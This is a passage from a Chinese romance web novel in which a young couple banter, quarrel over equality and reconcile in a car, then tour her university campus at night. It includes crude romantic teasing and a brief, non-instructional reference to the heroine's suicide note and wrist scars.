她又艰难扒着胳膊,从杯架里取出一瓶矿泉水塞进他手里,“这瓶你先喝,给我留一点点,再开一瓶喝不完有点浪费,我就喝你的好了。”
路泊汀直接无视,握水的手如死人般一样无力地垂在她腿边,大腿在她腿侧蹭来蹭去,后来直接压住她不放,而且是往她小腹不断蹭,像她以前睡觉时习惯往他身上压一样。
重死了!
温声整个人往座椅后躲去,两手也疯狂推他,嗷嗷呜呜的挣扎声充斥在车内:“重啊!!路泊汀!重重重!你别压我啊!!我动不了真喘不上气了……你滚开呜呜呜!”
许是良心发现,他的贱手非常善解人意地从她眼前伸过去,将她那侧车窗又往下降了降,冷风飞快卷入,他出声好心提醒:“可以喘气了宝宝。”
人在极度无奈时真会气笑,温声闭嘴静了静,瞪着他,见他拿着水瓶也不开,不知是不是懒得开。挣扎两秒,害怕他渴死,她只好自己一把夺过来,一副认栽认栽再认栽的复杂脸,一边旋盖子,一边咬着牙嘈他:“你要是敢让我以后变成老妈子那种样子,你敢让我这么腆着脸伺候你,你敢让我看你的脸色办事,那我警告你,你真完了。”
然后就将矿泉水的瓶口怼上他的嘴,让他别废话直接咕噜咕噜灌下去,“你别逼我骂人,快喝!”
说得每一个字都带着火。
路泊汀的脑袋枕在她肩头碾来碾去,看她鼓起的腮帮子,还有那双亮晶晶又瞪圆的大眼睛,担心司机看过来还掩起唇咬牙切齿地骂他,一切一切的模样,都格外生动地映进他脑海。
在他耳边喋喋不休,像只嘶哈嘶哈可爱又炸毛的呆猫,很小窝囊,很倒霉蛋。
很sweet。
“别骂了别骂了,我喝还不行吗。咱俩之间什么分工做什么事,老公都清楚,不都一直是我照顾你么。”
路泊汀刚要喝水,温声手一避,将水瓶拿开。
第一次听他说分工这事,有点好奇,温声大眼睛一转,看他笑得还算正经,她谨慎又纯情地问:“……你具体说说看什么分工?只要你别故意压榨我,你让我做什么我都是可以分担的……”
毕竟他们两人要走完一辈子,在这么长这么长的岁月里,彼此低头互相迁就才能长长久久。
参考家里的姚书文和路康,据姨妈姚之敬说过,年轻的时候姐夫是想过当家庭主夫的。
温声脑回路又偏了,家庭主夫诶……
如果路泊汀是家庭主夫是什么样的?
她每天下班到家,就能看到他系着围裙在厨房烧饭,最好是把她伺候的舒舒服服,这样她才能考虑在漫长的未来里不一脚蹬了他。
春夏秋冬,每一天每一年,茫茫人海,总有一扇窗里的灯是专门为她亮的。
短短几秒,和他的一生就在脑海中清晰地度过了。
温声有些兴奋,也不在意自己的头发是不是被他揉成了鸡窝,抖着肩催他:“哎呀!你倒是说话呀!让你喝水你不喝,让你说话你也不说,你这张嘴不要的话就丢掉行吗,别光占着烦我!”
“我的意思是我们在床上的分工,我情愿被你玩弄,被你虐待,你让我摆出什么姿势我绝不废话,乖乖撅着屁股你想怎么干我都行。”
路泊汀不动声色抬起眼皮,蹭上前,用长长的睫毛刺挠她的脸蛋,笑得没个正型,“不然你以为是哪门子分工?其他分工轮得上你么宝宝?”
……
她就知道!!!
温声哽着一口气,差点被呛到,脸上还一阵痒,她甩头撞开他,又举起另一拳头就去锤他,“你是不是有病?!谁跟你床上床下的??憋得慌你就找个地方蹭两下,实在不行我去给你挖个墙洞,少来骚……”
扰我两个字还没说出。
拳头登时被温热包住。
“我都还没说什么,这就骚了?”
路泊汀揉了揉被撞疼的脸,不满她这语气,抓住她的手又往身后一折,扬高下巴故意刺她,“床下当然是我说了算,从前是,现在是,以后也是。你怎么骂我那是你的事,但你全身上下……”他半钓着眼,往她全身上下一眯,轻视得很,嘴角慢悠悠撇起,“请问哪个不归我管?”
他好整以暇地说完这些猪话。
就差把‘你知道的,我很爹啊’几个字搬脑门上。
温声肉眼可见地再次炸毛,水润的眼里迅速闪光一层怒意。
他的黑眸几不可查的晃过轻笑。
比起刚才无关紧要的小打小闹,温声这次沉默了,面上藏着情绪,目光从他脸上审视而过。
她又不是东西,凭什么要他管?
还有他这语气,她该他的是吗?
烦不烦!!
“你要这么说就没意思了。”
温声俏脸立马冷了,“关系的前提是平等和尊重,懂吗?我又不是你的附属品,更不是你的小狗!你这态度分明就是看不起我,看不起另一半伴侣,看不起女的!以后如果遇到什么事,我是不是还得跪下三叩六拜地求你?我是不是做什么事还得照你脸色行事?那我现在就告诉你,你找错人了,因为从现在开始,你说东我就要说西,我想干嘛就干嘛,你管不了我!谁都管不了我!”
温声一赌气,就将小脸甩过窗外。
头发丝随即还扇了他一脸。
管前面司机叔叔能不能听见,反正她就爆了!
几年不见脾气渐长,路泊汀笑得更肆意了,支起头呼啊呼,吹开那些小碎发,侧头看她,车里忽明忽暗的灯影映向她的侧脸,见她嘴巴扁得高高的,看上去就十分生气的模样。他又瞅她握紧的那瓶水,得,还算手下留情没浇他一头。
他心里默念倒计时,不出五秒,温声又闷闷开口道:“这一分钟我不想喜欢你了。”
其实她是想说再也不喜欢了。
……但下不去嘴。
老天爷,怎么样才能让她不窝囊啊……
角落的耳朵终于动了动狗鼻子,睁着乌黑湿漉的眼睛巴巴望着她——
香香妈咪!我可以是你的小狗呀!
嘿嘿嘿嘿^_^
“只是一分钟?”路泊汀还有点惊讶,笑得眼睛弯弯,去勾她的手,“不应该半个小时起步吗?”
要你管?
神经病。
人在生气时,是没什么力气搭理始作俑者的。
温声懒得看他,也不想在意被他压得发麻的腿了,反正就是将这个人彻底摒除到她周身气流外。
听到后座叽里咕噜的争意,看这情势是又吵起来了,司机老叔终于从后视镜瞄了过来,谁知下一秒就对上那男生玩味的眼神,他感觉自己老脸无意识一跳。
路泊汀软弱无骨地靠着温声,闲闲和他对视,目光精准得很,好像就在等他看过来,质疑他,轻视他。
如果目光再带点鄙夷的嘲意——原来你真是个渣啊?
那他就更爽了。
「对啊,我就是这种烂人。
然后呢?」
中国话里的死猪不怕开水烫,是不是就这样的?
司机老叔少见地窘了一下,挠了挠头,错开眼,继续专注开车。
路泊汀视线又转回旁边,旁人会不会误解无所谓,但对自家小姑娘的解释还是得跟上。
“就爸对妈那种‘永结同心不分离,一生一世一双人’的感情,这玩意儿不都遗传吗,我有什么能够限制你思想自由的经验吗?也没人教我啊。”
温声垂下眼,不说话。
他继续说,口吻没有讨好和示弱,只是在叙说一个事实一样,“况且,在感情里我比他还要执着。”
(远在法国的路康眼皮一跳,梦中惊起:“混小子谁跟你比了??”)
温声被风吹得脸都快僵了,脑袋没动,眼睛却咕噜乱瞟着。虽然心里的火气很没出息的消了一大半,但还是不想立刻和他讲话。
总觉得还差一点点。
说她矫情也好,说她不懂知足也好,说她动不动就生气玩不起也好,说什么都行,她不在意。
这世上谁都可以轻蔑她。
唯独他不行。绝对不行。
因为她始终认为他们是一体的,是和影子一样完全袒露的彼此。
路泊汀就着她的手去掏外套里的钱夹,在微弱柔和的车灯下给她一张一张摊开,边说边往她手里塞,指着某张深蓝色偏黑的卡,“这张
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是我存的项目资金和投资的卡,和爸妈没关系,没什么固定上限,也没数过多少,不过应该够你以后毕业去发展自己想做的任何事。”
长指往卡上一点,“现在,它是你的了。”
听他这么一说,手里那张卡顿时变得沉甸甸,温声快快扭过头,也来不及生气了,将那张卡赶忙往回塞,头摇的飞起,还要避着那司机叔叔,生怕他半路打劫,说得极小声:“我不要我不要!你别给我别给我!!!我管不住钱的!!我会遇到大骗子的!!被骗光光怎么办??”
她心里速速补一句:你对我机关算尽!谁知道你是不是又在故意引我上钩……
晚上吃饭时听孟珠箐悄悄和她说:你家这位是赚钱能手,大学赚的都能在纽约买房了,听我的千万不要放过他!
这么多钱!!!
她不敢拿!!!
“那老公再赚好了,钱不是用来存的,是要流动啊宝贝儿。”路泊汀好笑地弹了记她脑门,学她的语气,凑近她耳边,也悄悄摸摸地说,“所以赶在被骗前,你就得抓紧花了。”
在她不知不觉间,他又开始倒在了她身上。
这是什么话啊……
她去哪儿花啊……
温声小心谨慎地捏紧那张卡,生怕钱飞走了,她还将车窗赶紧升上去,怕惊动过路的风给卡吹走……
好烦!
但是也好没出息!
温声的小心脏砰砰砰就是紧张得不行,又憋着声问:“那爸妈知道吗?我用的时候需不需要报备啊?”
这问题属实白问。
姚书文和路康很早就鼓励他们要学会自负盈亏,不管学业还是课余爱好,敢做就要敢当,否则就别开始。
路泊汀为了能早点在父母面前有话语权,从初高中那会儿就开始捣鼓赚钱了,那时候鞋圈文化盛行,正赶上球鞋炒作的黄金期,又因为他周围的几个好哥们家里已经定了未来的路线要去从商,为了提前练手,再加他们几人当时有点本金还敢压货,平时方便的话,节假日还能直接到海外抽签拿货。
一路没遇过什么大困难,所以少年版的“创业”想当然就做起来了。
不过后来他要开始着手准备竞赛,没多少时间耗在这上面,赚到一笔还算不赖的余钱后就撤了。
“报备什么?难道报备「爹,妈,我终于给你们赚到了养老钱,你们再也不用担心退休后的幸福生活了,所以从现在开始我能先拿五毛钱去买个口香糖吗」?”
“还是报备「这是你们的好大儿辛苦赚来的钱,你两都省着点花,最好是一分都别动。但是我可以拿十块钱去吃碗面吗」?”
路泊汀捏着嗓子细声细气地在车里随意切换着人格,接着上手拧她的脸蛋,一揪,一转儿,趁她打过来前戏谑一笑:“如果是这种报备,你觉得他们需要么?有意义么?”
赚的还没人俩零头多,好意思报备么?
……
他每次戏精上身,温声就会忍不住想笑,但转念一想她还在生气呢,于是掐他的大腿,故意和他唱反调:“那有什么不能报备的?况且我花的是你的钱,我现在从家里也出来了,那他们知道也是应该的吧?”
“别了,没必要,我想怎么花怎么花,你想怎么花怎么花,跟谁都没关系。这话题过。”
温声还在琢磨那张卡,见他又捻起一张熟悉的白金卡,是姚书文给他们配得双边卡,自从他记忆恢复后就没动过这张卡,路泊汀当着她的面又塞回钱夹,“这张我没用过,先放着。”
温声默默抿起嘴巴,其实那张家里的卡她也没怎么用过……
他钱夹里还有一枚银白色的硬币,温声定睛一看,正面印有“一円”的字,是日本面额最小的硬币,在国内就是几分钱的面值。
路泊汀拉出她的手,将那枚硬币放进她手心,很轻的触感,手心像过了一下水波,有层飘飘的轻。
“这枚硬币是我第一次项目备案成功后,因为赚了第一笔金,朋友送我的,他说在日本它有独特的寓意,代表开始,也代表积累和圆满。”
温声气散了,自然也就恢复好脸色,像只小浣熊哇的喊一声,带着鼻音感叹:“好厉害呀!你还没告诉我你学校的事呢?”
“不急啊,这些事每天都说一点点你才能记得更久。”
路泊汀将那枚硬币竖起立在她手心,让她将手心铺平,然后示意她拨弄一下,温声用指尖跟着转了个圈,快要倒下时,他伸指,将快要倒下的硬币抵住,告诉她:“我没想控制你啊宝宝,我也不是这样的人,但你要想未来在某条路上走得稳一些久一些,那得有我在。同理,我的所有决定也一定会有你参与。”
硬币翻了个面贴进她的手心,接着,他包住她的手,“消气了吗?”
黑夜慢速前进。
热意在两人的注视下越来越高,不止是手心传来的温度。
温声听得有些动容,对他点点头,觉得不对,又用力点了几下,“我的十个决定里一定会告诉你九个,但剩余一个,无论能不能做好,我想先自己决定,你不能立马就否掉我,不然我真的会和你急。”
“当然可以。”
路泊汀点着头,又去亲她的唇角,接着亲她的下巴和脸颊,磁声温温柔:“你知道这硬币它也代表完整吗?”
我们永远是一体的。
从来没有谁压制谁这一说法。
“——Baby it''s your world, ain''t it?”
他们刚好捕捉到某句歌词。
老叔车内装了高音通透的音响,他们后座就有十几二十个扬声器,每一句音调都像一颗滋滋膨胀的气泡在他们周身炸开。
好~耶~
温声咧开小嘴巴笑开,这个气很快又散了。
“那这些都是我的啦?”她现在有点见钱眼开,有点小财迷,很宝贝地抱着那几张卡,还离他远了些,“哎呀呀,我可不要,我就替你保管一段时间喽,你记住了,只是保管噢,卡不见了或者是被骗光光了,你别找我问责哟。”
然后就娇里娇气的嘟起唇,不时瞄着他,将那几张卡单手往自己包里塞了去。
塞得很利落,很干脆。
路泊汀对她没辙,摇头叹笑,两手抱紧她的腰,贴近她,就着她的手,张嘴就咬住了瓶口。
他开始喝水。
91. 逛校园(一)
车子缓缓停到学校附近一家深夜咖啡店的门口,因为圣诞节刚过没多久,店内气氛依旧热闹,吧台和门口的小躺椅上挤满了学生,老板在店门口摆了一棵玲珑小巧的圣诞树,上面还挂着一个褐色笔记本,很厚,也有些陈旧,旁边心形的灯牌用金属油漆笔印着大大的两个字——Past Sins
爱情忏悔录。
反正大家都是匿名记录,谁也不知道谁,只要你觉得你写的够炸裂,前提必须真实,那今天这杯咖啡老板请了。
有一对年龄跟他们差不多的小情侣站在圣诞树前,男生半闭着眼,嘴角勾起宠溺的笑,他抬高手里那个本子,捧向对面有着一头软膨膨的金色蛋糕卷发的女生面前,她这会低下头正在落笔,笔速刷刷刷,握笔姿势很用力,本来是要忏悔的,结果写到最后恨不得将对面那个王八蛋男友的各种烂事全部发泄出来,还语气暴躁地吼他:“我还没写完呢你不要乱动!再动头给你打烂!!”
男生当真像个木头静止了,嘴唇却微微嗡动,还是在笑:“打烂我的头谁还会大早上早起一个小时收拾家务给你准备早饭?谁还会给你做煎饼塔摆水果拼盘?又是谁还会给你榨低卡果昔碗?哦对宝贝,难道你忘了你喜欢的煎饼还得加点莎莎酱,再放一层你不能看见但一定要有的糖粉?难道不觉得自己很挑剔吗?”
那个像洋娃娃一样精致的女孩子一听以为是在指责自己,抬起头就放声大骂:“我想揍你就揍你!你不想谈了可以滚!我警告你最好不要对我提意见……”
“当然了——”
轻声打断她。
男生目光低低落到她眼里,又微微摇头,眼神很软,语气也很软:“就算你踢爆我的蛋,就算这辈子我只剩一口气,这些事我也依然会为我最爱的小宝做好,因为这是我要娶你的使命。”
店老板在门框和屋檐上挂满了迷你星星灯,还是那种香草奶油黄的暖光。有人来到室外抽烟,清凉的薄荷烟味随着冷风呼呼弥漫过来。
四处明光铮亮。
空气静默下来。
在这几秒钟,世界静谧的像一颗没有任何杂质的透明水晶球,梦幻又温暖。
隔着车窗,温声注意到那位女生肉眼可见地红了脸。
她那头金黄色的头发随即飘动起来。
水晶球也动了起来。
刚在笔记本里写了大片大片吐槽他的话,花了她十几二十分钟,但到最后她还是用彩色记号笔画了两个大大的×推翻它们,然后在结尾写道——
“可是对他,我心甘情愿。”
咖啡店焦黄的磨砂门后有人影不时晃过,抱着贝斯的客人靠坐在最角落,然后温声就听到像咖啡的香气一样慵懒温柔的男歌声从那扇窄窄的门缝溢出:
Baby, life was good to me 宝贝 生活待我不薄
Through any kind of weather 无论风雨如何
Baby, tell me, I will do whatever 我愿为你做任何事
…
It feels like nobody ever knew me until you knew me 没有人懂我 直到你懂我
Feels like nobody ever loved me until you loved me 没有人爱我 直到你爱我
…
Nobody, nobody, until you 没有人 直到我遇见你
怎么会有如此应景的时刻……
温声扑闪着大眼睛,隔空羡慕巴巴地望向他们,还在路泊汀耳边小声感叹:“原来我和你这种‘猫狗大战’的相处模式其他情侣也会有耶!”
一人跑,一人追。
一方肆意侵略,另一方无尽接纳。
两个截然不同又天生对立的个体在无数摩擦中才能找到共同的领地,直至,彼此成为对方生命中最亲密最重要的那部分。
每当发现别人爱情里的共性时,她的幸福感又会变得多一点点。
看她一脸惊奇样,路泊汀提唇轻笑了声,亲了亲她的耳朵,又空出抱她的一只手去拍旁边睡得很熟的小狗,它还打起小呼噜,喊半天硬是不起:“喂,醒了,要下车了。”
耳朵闭着眼发出呜呜哼哼的惺忪声,就是不起,路泊汀改去捏它腮帮子,它刚要翻身,要不是温声速速伸出腿挡住,早就滚到地上了,“哎呀呀!撞疼了吗耳朵?”
刚说两句她就闭嘴了,它睁开眼,打着小哈欠,还用两只肉肉的前爪匍匐在他们一旁,然后湿漉漉的舌头猝不及防地……轻轻滑舔了两下她的腿。
尾巴甩啊甩,粉舌头舔啊舔。
简直是狗版路泊汀……
温声眨眨清亮的眸子,慢慢缩回腿,转头重新看窗外,那对情侣已经在收拾东西准备走人。她吁了一声长长的轻气,浅色眼睛被细碎的夜灯照出通透的茶绿色,都忘了已经到学校门口,所以整个人赖趴在路泊汀怀里,斜斜歪着脑袋,粉嫩的脸蛋蹭向他的衬衣,再次问他:“路泊汀,我也想写诶,你要不要陪我去?”
要去逛校园的,谁陪你写啊。
“当然不要。”他拒得很不客气。
“为什么不要!”她问得理直气壮。
瞅着她,路泊汀眼角微挑,又微微眯起,眸光一片似笑非笑的痞意,慢吞吞地说着若无其事的话:“咱俩之间需要忏悔的事我会直接当你面儿下跪,你想怎么甩我耳光,想怎么拿鞭子抽我,随你便,脸和屁股全开花了,我也认。但用不着搞这些文绉绉的虚的啊。”
他怎么每次都说这种要擦不擦的话……
温声莫名噎了一下。
忽然就想不出任何能堵他的话来……
路泊汀抓过一旁早已皱巴的外套披她身上,温声骨架偏细,背也薄薄一片,西装一罩,从背后只能看到她跨坐在他腰侧露出的半截细腿,路泊汀还拢高她下巴那处的衣领,向上一提,将她的小脑瓜就从后也遮了起来。
那件外套很大,像个黑袍斗篷,司机如果从后视镜看,除了没有一顶女巫帽,不然他完全能将后座那小姑娘当成一个神秘又袖珍的小女巫。
完全看不到她的脸。
都忘记长什么样了。
谁还能联想到刚被压进座位里亲的上气不接下气的样子啊。
温声奋力挣扎,屁股在他腿上无意识扭着,咕哝道:“别包着我啊,我热!”
“嘘。”他朝她的脸吹气,低声提醒,“先别动。”
会不会被人当成欲求不满的二流子。
他无所谓。
可是,不能带上她。
升窗,扶好她的腰往窗角倚去,另一手伸进西装,指尖触到她的后背,顺着她的背骨,在他的外套下给她重新扣紧胸衣,手卷着她的上衣边缘,一点一点往下拉。
终于意识到什么,温声脸一红,还越来越红,啪嗒一声,将脑门砸向他肩头,软声软气地骂他,带点别扭:“都怪你,就怪你,只怪你。”
“你怪天怪地怪这辆车,甚至你还可以怪那只笨狗,但我亲的是自己的老婆,动手动脚水到渠成的事。”路泊汀调整好她的肩带,顺手挠了把她的下巴,表情很放松,“请问宝宝,我有什么错?”
耳朵对笨这个字眼很敏感,猜到他又在骂它,一声巨大粗鲁的汪声吼向他:“汪!!!”
不管是它,还是她,反正每次都说不过他。
温声埋着头摇脑袋,“我没脸见人了,你赔我的脸来!”
他又漫不经心地哼笑:“那我教你一招,一会儿我拉车门你先跑,保证他看不到你。”
她不信,悄悄露出半张脸看他,“……真的吗?”
他语气相当理直气壮:“他看一眼,这车我给他砸了。”
……神经。
温声不想和他说话了。
耳朵这会儿也十分乖地跳到前车扶手上,用毛茸茸的小狗身挡住他们,两只乌黑大眼睛直直盯紧司机叔叔,还龇牙假装哈他——不准回头,你不准回头!
那司机老叔气定神闲地坐着,甚至还合眼打起坐来。
反正这趟行程赚的很够,让他把车让出一晚他都没二话。
路泊汀接着理了理温声凌乱的裙子,又拉高衣服包住她,揉着她的腰,轻声问:“这个点能进你学校看看吗?想去看一眼你上课的地方,之后你开学了,我想陪读一段时间。”
“现在可以进去看,但是之后陪读就算了吧,你不是很忙吗?”
“老公总要看看你们这个水课是怎么上的吧。”
闭嘴吧你!
温声立马从座位上摸过来自己的包包,想起手机在他身上,只好快快探手往他兜里拿手机,快要十一点,“那我们需要快点了,宠物店十二点关门,还要去接小八仙的……”
她一顿,又给他竖起指头比猫耳朵,“小八仙就是那只在夷农山的白猫,你当时救了它,同样,也是它救了你,如果不是它跑到山顶找到我……”
如果她没有及时给他做环胸带,以他当时失血的速度,撑不过几分钟。
想到四年前那个雪夜,那是她这辈子都无法忘记和和解的夜晚,温声鼻息瞬间就沉了下来,收起玩笑,用手贴上他的胸口,这几年手术好像很成功,没有摸出什么异样,心跳在她的手心里咚、咚、咚,每一下的跳动都沉稳有力。
她快要忘记是什么时候知道他心脏有问题的,只记得高二那年她被黄然弄伤后,就是那个时候,在那间医院,那个晚上,她当胸捶了他一拳,没想到他的脸色刷的一下就立马变得惨白。
也就是那时候起,她花了一段时间偷偷去查过他的私人体检报告。
一切就都讲的通了。
“以后不要再丢下我了,你能答应我吗?”她以一种追问的语气问他,眼眶有些红,见他不说话,憋住呼吸,又说,“只要你带上我,无论去哪里,有多远,我都跟你走。”
像他上车前对她做过的承诺一样,她也伸手用小拇指勾过他的手指,很用力很郑重的那种,一摇一晃,“说好了的,我只跟你走。”
她还不知道他失忆的事。
目前还不想让她知道。
“我会努力补回你这四年的空白,但是以后……”路泊汀捞起她的手,拇指轻轻对碰,又上手揉了把她的短发,推起她的小尖下巴,上前就咬住她的嘴唇,答得极其含混不清,黑眸却专注望着她,“不要再因为这件事哭鼻子了,你先答应我,好不好?”
温声吸吸鼻子,嘴唇被咬的有些发疼,红红的眼睛瞪着他,“我又控制不住……”
“那你哭一次,我就亲一次。”
温声更委屈了:“哪有你这样不讲道理的啊……”
不想她再难受,路泊汀亲了亲她的眼尾,又用指腹不算温柔地给她抹净眼泪,然后贴着她的耳畔提醒:“宝宝,现在该跑路了。”
吧嗒一声,车门开了。
夜里凉气有点重,寒假期间校内竟然还有不少学生走动,入眼就看到远处砖红色建筑上方的圆形钟表,指针滑到11,树叶偶尔跟着风声在脚边卷,附近的高墙还亮着点点碎灯,有传媒教室还在放音控,树叶偶尔沙沙,12月底深夜的风微凉带着湿润。
温声披着路泊汀的外套很快下车,然后抱着耳朵有些做贼心虚地跑了起来,两细腿蹬蹬蹬,一晃眼的时间就奔进了校门。
路泊汀付过钱,当那叔的面将掉座位上的空水瓶捡了出来,朝他晃
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了晃,眉眼微扬,“谢了啊老叔。很好喝。”转身时,又一顿,指着他车里还放的歌,唇角勾起一抹腹黑的笑,“Nicki never fades.”
那当然!
司机老叔点头笑得很含蓄,一脸慈意,不知道的人还以为他是鸡姐的什么亲戚。
路泊汀大步跟过去,抓住温声的衣领子,“啧,走慢点,慌什么?”
温声见那司机已经发车走了,终于吐气:“以后不要在车里……做……做……”
“做什么?”路泊汀当着人来人往的校道,脱口而出,“只是和我爱的人接吻而已,又没做/爱,怕什么?”
这是什么猪话??
他不要讲话了!!
温声每次被他的口无遮拦吓个半死,啊啊啊试图用尖叫音盖过他的话,惦着脚尖去捂他的嘴,“你小点声小点声!!!”
她学校光中国留学生就四五千人了,谁知道会不会被听到然后发展成一段离谱的校内野史被投稿出去……
路泊汀接过耳朵,顺手提着温声的衣服后领,一人一狗,全被他无辜揪了起来,“走吧,带我参观参观,一个角落都别放过,我要知道你这几年在哪里上课,三餐吃什么,和谁在这条路上走过,有没有暧昧对象,有没有喜欢你的人。”
温声立马刹住步子,他比她高,他就能提着她走吗????
“停停停,你先放我下来,我们学校没什么好逛的啊,明天白天再带你好好逛啦!”
他又是一句不要。
不知道哪儿学来的口头禅。
然后提着她的衣领接着往前走,一路跟着路标,直奔她上课的教室。
温声一路像只鸡仔一样,被他抓在手里简直无法动弹,虽然已经是夜里十一点多,校内林荫道上也没多少人,可她还是觉得好丢脸,两手捂紧半张脸,脚下绊着步子被他强迫往上课的大楼带。
走着走着,步子又一刹!
“你走错路了啦!!!”温声脖子艰难一扭,用脑袋调转方向,呛他:“我们教学楼在那边!!!你不会带路就放开我让我来带!!别浪费时间呀!”
“别管,老公呢,要自己摸索。”路泊汀摆头一笑,又表扬似得顺她头顶的碎毛,问她:“有闻到什么味吗?”
刚过完圣诞,学校里还飘着过节时装饰的香气,温声嗅啊嗅,耳朵也跟着嗅嗅,“是丁香和肉桂烘焙的饼干味。”
“我想吃,你给我买。”
他高高在上,他理所当然。
“很难吃的!一股酸酸苦苦的味道,你肯定吃不惯。”
最重要的是,一块小饼干将近三十块钱,太贵了完全不划算好吗?
去超市买袋奥利奥饼干都比它性价比高啊。
路泊汀扯着唇角突然冷冷切了声,幽光射向她,接着嗤笑道:“连块饼干都不给我买,还指望你以后给我买结婚戒指?成,我记住了,你就这么对我的。”
温声注意到他还吸了记鼻子,接着重复那些类似黑色咒语的话:“我会永远记住,在12月29号的今晚,你不给我买饼干吃。”
那几个字像铜钟振音,一遍一遍敲打着她的心窝——
「你温某人对我什么样你心里最清楚,你别装」
天呐,我怎么对你了啊?
这都哪儿跟哪儿啊!
温声气得跺脚,只好认栽一样点了点头,牵紧他往那辆手工的餐车走,“多大事啊,不就一块饼干嘛,你想吃我就给你买,你想要什么只要我能付得起,都给你买行了吧?”
结果,这贱男尝了一口那饼干,当着人家辛苦做出饼干的几位同学面前,像孕妇忽然孕反一样,毫不避讳地呕呸了一声,然后就站在当路往旁边垃圾桶吐了去,又皱着一张俊脸很嫌弃地说:“宝宝,这玩意儿一股馊味啊,真有人买么?真有人能吃下去么?能吃下去的人是真叼啊。”
甚至还皮笑肉不笑地哟呵一笑,“年度最难下咽的东西今晚出来了。”
他说得很轻描淡写,可温声脸都黑了。
……这真的不是在找打吗?
那几位同学的脸色也立马不好了。
虽然听不懂他的话,但一看这表情就知道是在吐槽他们的产品,觉得味道一般能理解,但当着他们的面还贴脸开大,这人是第一个。
找茬的吧?滚!
温声见势不妙,赶紧拽住路泊汀的胳膊就往右边小路跑,边跑边说:“喂,到底有没有人和你说过,不要对别人的劳动成果评头论足?这种行为很讨厌啊!而且我们是亚洲人,他们万一背后说我们怎么办?”
一点儿眼色都没有!
从小到大还真不乐意看别人脸色行事的路泊汀,长腿忽然一停,双眼沉默耷下,道歉来得很突兀:“那我对不起咯。”
从神情到口吻都很诚恳。
但是……
“你跟我道什么歉啊?跟人家道呀!”
还真是一拨一转不拨不转!
温声摊开手很不解,刚要说教两句,就见他高大的身影扭头往回折,大摇大摆一副‘不就道歉么,这多大事啊’的气势,结果开口就是一句标标准准的日语:“Gomen nasai——”
还学日本人道歉时常有的鞠躬,弯了下身,大概有15°的角度。
姿势标准得不能再标准。
反正就是无论如何,这个锅今晚都要甩出去。
温声只觉得眼前一黑,只觉得眼角和头皮同时一阵抽搐,她又忙跑过去扯起他的手给立马拽了回来,很想喊救命,很想狠狠抽打他让他闭嘴:“你干嘛学日本人呀……求你了……求你了跟我走吧……先闭嘴什么话都别说……真不要再这样了……你这样……我真的很想扭头就跑……”
再丢人现眼,我真要跑了!
92. 逛校园(二)
“你去拜拜它吧。”
停下脚步,温声抬高手腕,将路泊汀的手不客气地丢了出去。
他们面前出现了一座被塑料幕布盖住的高大铜像,草坪的地灯将它盔甲坚硬的轮廓完全照出来,就像古希腊战士一样姿态稳健地立在一片夜光下,左手握剑右手执盾,迎着夜风伫立不动。
很有神性的一个雕像。
温声理了理被吹乱的裙摆,朝旁边的人傲娇地支着小下巴,解释道:“它可是我们学校的守护神,每逢重要的时候很多人都会来拜它,你可以摸摸它腿边的石座,或者跳起来碰一下那把剑,万一心软的神看到你了,能保佑你接下来不管是工作还是申学都顺顺利利呢?”
今晚从孟珠箐嘴里得知他大学走了创业赛道,而且还申请了本校PhD,录取结果再过一个多月就要出了,只是提到他申学这个事,温声又回想起孟珠箐和翁明互看时眼底那层心照不宣的可惜。
可惜什么?
是他申学竞争太激烈可能申不到吗?
虽然求神拜佛只是精神寄托的一种迷信方式,狗血无聊还幼稚,但今晚算迎面碰到了,那她就不会错过任何一个能让他得偿所愿的机会,她想让他参与进来。
路泊汀绕着那座铜像转了一圈,步子拖的很吊儿郎当,视线粗粗打量一番,趴到他肩上的耳朵也伸长毛脖子望了一圈,两人探看的动作如出一撤。
但一人一狗谁都没搭腔。
因为确实没什么特别的,就一普通雕塑,有什么好拜的?
路泊汀从她包里翻啊翻,随便找了颗可乐味的棒棒糖,指骨分明的细手两下剥开塑料皮,暼她一眼,塞进嘴里,脸颊一下一下鼓起,刚要耸肩示意:“大晚上的,哥们没有拜这玩意儿的习惯。”
本来还一副好无聊的松垮样。
但是——
“谁让你吃我的糖了!”
温声音调突然拔高,上前就一把抢过自己的包藏在身后,很小气很抠门的样子,还怒哼哼的吼他,语气咄咄逼人:“你不会忘了我们还有一笔账没算吧?那盒你给我的糖我早就吃完了,是谁说过我不用吃完剩一半就能回来的?你回来个屁!你说话不算数你个浑蛋!你好意思吃我的糖吗??你还我的糖来!!”
很突如其来的炸毛。
骂他还前后不搭边。
耳朵被香香妈咪的骂声一下给喊住了,两只狗爪子小心翼翼地抱住主人,狗脸使劲往他脖子里拱。
“呜汪!”
路泊汀怎么也没料到吃颗糖还能被她吼一嗓子,垂眼看手里那团塑料糖纸,皱巴巴的,还是那种快过期的阿尔卑斯。
就五毛钱。
……?
神人竟在他身边。
牛逼。
舌尖滚糖的动作倏尔一缓,白色糖棍斜在唇边,他都懒得开口,静静歪下头,静静往她毫不讲理的暴躁脸上掠去。
嘴角抿起,眼神微闪,耳后根还很快泛着红。
跟他第一次学抽烟时被路康抓包后一个傻样。
就很心虚。
硬糖再次嘎嘣嘎嘣。
路泊汀又若无其事地嚼了起来。
只是那双锐气冷艳的黑眸始终盯向她,有点戏谑,有点压迫感,又好像没什么情绪。
暗流涌动,山雨欲来。
不会撒谎的温声在他面前简直就是个呆子,她噤声,她试图转移话题,可是这会儿被他盯着瞧着打量着,各式各样的目光,像x光一样从头到脚给她扫视了个遍。她被盯得有点发怵,而且这人也不吭声,横在两人之间的只剩在他嘴里炒个不停的滚糖声。
绷不住了……
倒是说话啊你……
温声一惊一乍地眨着大眼睛,视线飞快乱飘,就是不看他,她往后撤两步,手心还起了层汗,右手又失控地发起抖来。
刚才她差点就忘了,包里有几页昨晚写好的遗书,好死不死,就和几年前他写给她的那封道歉信放在一起。
还有手腕的割疤,她藏了一晚上,吃饭时他握住她的手腕要给她卷袖口:“不热么?”
被她一下躲开了……
再加上刚才反应过大。
他肯定是起疑了……
温声的脸燥红燥红的,两道小秀眉拧得越来越紧。
他是发现了?
他是发现了。
大半夜的,两人面对面硬杵在原地,明明两分钟前还岁月静好,现在就跟突然结了宿仇的死对头一样齐齐顿足在那座铜像面前,谁都不说话,谁也不放过谁,这画面怎么看怎么诡异。
有几个电影学院的学生刚配完音从录音棚出来,正好路过这边,三个小伙本来嘻嘻哈哈还在聊闲话,有人转头,无意瞄到他们的镇校之宝跟前立着两道黑影,一高一矮,看不清长什么样,只知道人不人鬼不鬼的应该是学生。
